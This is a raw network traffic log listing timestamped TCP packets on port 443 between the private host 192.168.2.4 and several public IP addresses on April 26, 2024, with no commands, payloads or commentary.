Apr 26, 2024 09:59:26.215409040 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.215425014 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.259080887 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.475383043 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475567102 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475601912 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475630999 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.475641012 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475684881 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.475692034 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475738049 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.475784063 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.552898884 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.552908897 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:29.691966057 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:29.691997051 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:29.692226887 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:29.694272041 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:29.694293976 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.080854893 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.081103086 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:30.081124067 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.081494093 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.082288027 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:30.082360029 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.083046913 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:30.083084106 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.631324053 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.631486893 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.631541014 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:30.979576111 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:30.979628086 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:30.979684114 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:30.981812954 CEST	49892	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:30.981842041 CEST	443	49892	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:30.991976976 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:30.992002010 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.197504997 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.197542906 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.197601080 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.198088884 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.198107004 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.376847029 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.377047062 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.377070904 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.378047943 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.378125906 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.379178047 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.379235983 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.379533052 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.379543066 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.421166897 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.618283987 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.675180912 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.746541977 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.746561050 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.747499943 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.747509956 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.747575045 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.749902010 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.749960899 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.750334024 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.750343084 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:31.791119099 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:31.792979956 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.792998075 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.793055058 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.793082952 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.793559074 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.793621063 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.839739084 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.839762926 CEST	443	49895	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:31.839776993 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:31.839831114 CEST	49895	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:32.174921036 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.174937963 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.174952984 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.174962997 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.174977064 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.174995899 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175009012 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175017118 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.175019979 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175033092 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175057888 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.175066948 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175081968 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.175928116 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175946951 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.175982952 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.175991058 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.176012993 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.176019907 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.176037073 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.176064968 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.176842928 CEST	49899	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:32.176856995 CEST	443	49899	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:32.233428001 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.233447075 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.233591080 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.235945940 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.235958099 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.626605988 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.626919985 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.626929998 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.628062010 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.629374027 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.629553080 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.630245924 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.630245924 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.630300999 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.735907078 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:32.735927105 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:32.736000061 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:32.736548901 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:32.736562014 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:32.914107084 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.914330959 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:32.914455891 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.918519974 CEST	49917	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:32.918541908 CEST	443	49917	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:33.123195887 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.178549051 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.195297003 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.195310116 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.196916103 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.196929932 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.196975946 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.198539972 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.198637962 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.198714018 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.198721886 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.244720936 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.533879995 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.533967018 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.533986092 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534019947 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534027100 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534032106 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534045935 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534065008 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534075975 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534095049 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534096956 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534111023 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534142971 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534382105 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534396887 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534449100 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.534457922 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.534497976 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.673707008 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.673731089 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.673780918 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.673793077 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.673818111 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.673837900 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.674201012 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674218893 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674277067 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.674283981 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674323082 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.674617052 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674633980 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674669981 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.674678087 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.674690008 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.678519964 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.682605982 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.682647943 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.682676077 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.682682991 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.682723045 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.682729006 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.682841063 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:33.685929060 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.706021070 CEST	49920	443	192.168.2.4	13.107.213.41
Apr 26, 2024 09:59:33.706038952 CEST	443	49920	13.107.213.41	192.168.2.4
Apr 26, 2024 09:59:34.223901987 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.223974943 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.224060059 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.231523037 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.231554031 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.260911942 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.260941029 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.260997057 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.261336088 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.261353016 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.617693901 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.617985964 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.618011951 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.619215012 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.619605064 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.619770050 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.619780064 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.642520905 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.644517899 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.644534111 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.644891977 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.645524979 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.645591021 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.645764112 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.645802021 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.645910978 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.645944118 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.645956993 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.645970106 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.646034002 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.646086931 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.646091938 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:34.646121979 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:34.660130978 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.664988041 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.994662046 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.994844913 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:34.994895935 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.995232105 CEST	49928	443	192.168.2.4	13.107.246.69
Apr 26, 2024 09:59:34.995258093 CEST	443	49928	13.107.246.69	192.168.2.4
Apr 26, 2024 09:59:35.057301998 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:35.057373047 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:35.057471991 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:35.057847023 CEST	49931	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:35.057857990 CEST	443	49931	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:35.062053919 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.062084913 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.062145948 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.062340975 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.062355995 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.203178883 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.203208923 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.203329086 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.203679085 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.203694105 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.605290890 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.605526924 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.605554104 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.606584072 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.606648922 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.607002974 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.607063055 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.607168913 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.607177973 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.655616999 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.849106073 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.849349022 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.849373102 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.849878073 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.850241899 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.850332022 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.850528955 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:35.892034054 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.892122030 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:35.892250061 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:35.892298937 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.893107891 CEST	49937	443	192.168.2.4	13.107.246.41
Apr 26, 2024 09:59:35.893117905 CEST	443	49937	13.107.246.41	192.168.2.4
Apr 26, 2024 09:59:36.009677887 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:36.009725094 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:36.009762049 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:36.009788990 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:36.009807110 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:36.009819031 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:36.009866953 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:36.011123896 CEST	49935	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:36.011142015 CEST	443	49935	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.308141947 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.308187008 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.308244944 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.308764935 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.308779955 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.378719091 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.378808022 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.378957987 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.379867077 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.379901886 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.382260084 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.382277012 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.382329941 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.382786989 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.382800102 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.723355055 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.723608971 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.723627090 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.727205038 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.727274895 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.727283955 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.727535009 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.727849960 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.728013039 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.728348970 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.728357077 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.728399992 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.774977922 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.776118994 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.865111113 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.865153074 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.865428925 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.865458965 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.865789890 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.865801096 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.865957022 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.866832972 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.866942883 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.867249012 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.867336035 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:40.867363930 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:40.870342970 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.870466948 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.870472908 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.870516062 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.871212006 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.871371984 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.871376038 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.871393919 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.915606976 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:40.915612936 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:40.962480068 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.030972958 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.031028032 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.031090975 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.031101942 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.031136990 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.031172991 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.031389952 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.031445980 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.033909082 CEST	49950	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.033924103 CEST	443	49950	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.043447971 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.043478012 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.043629885 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.044176102 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.044190884 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.144556046 CEST	443	49949	52.108.9.12	192.168.2.4
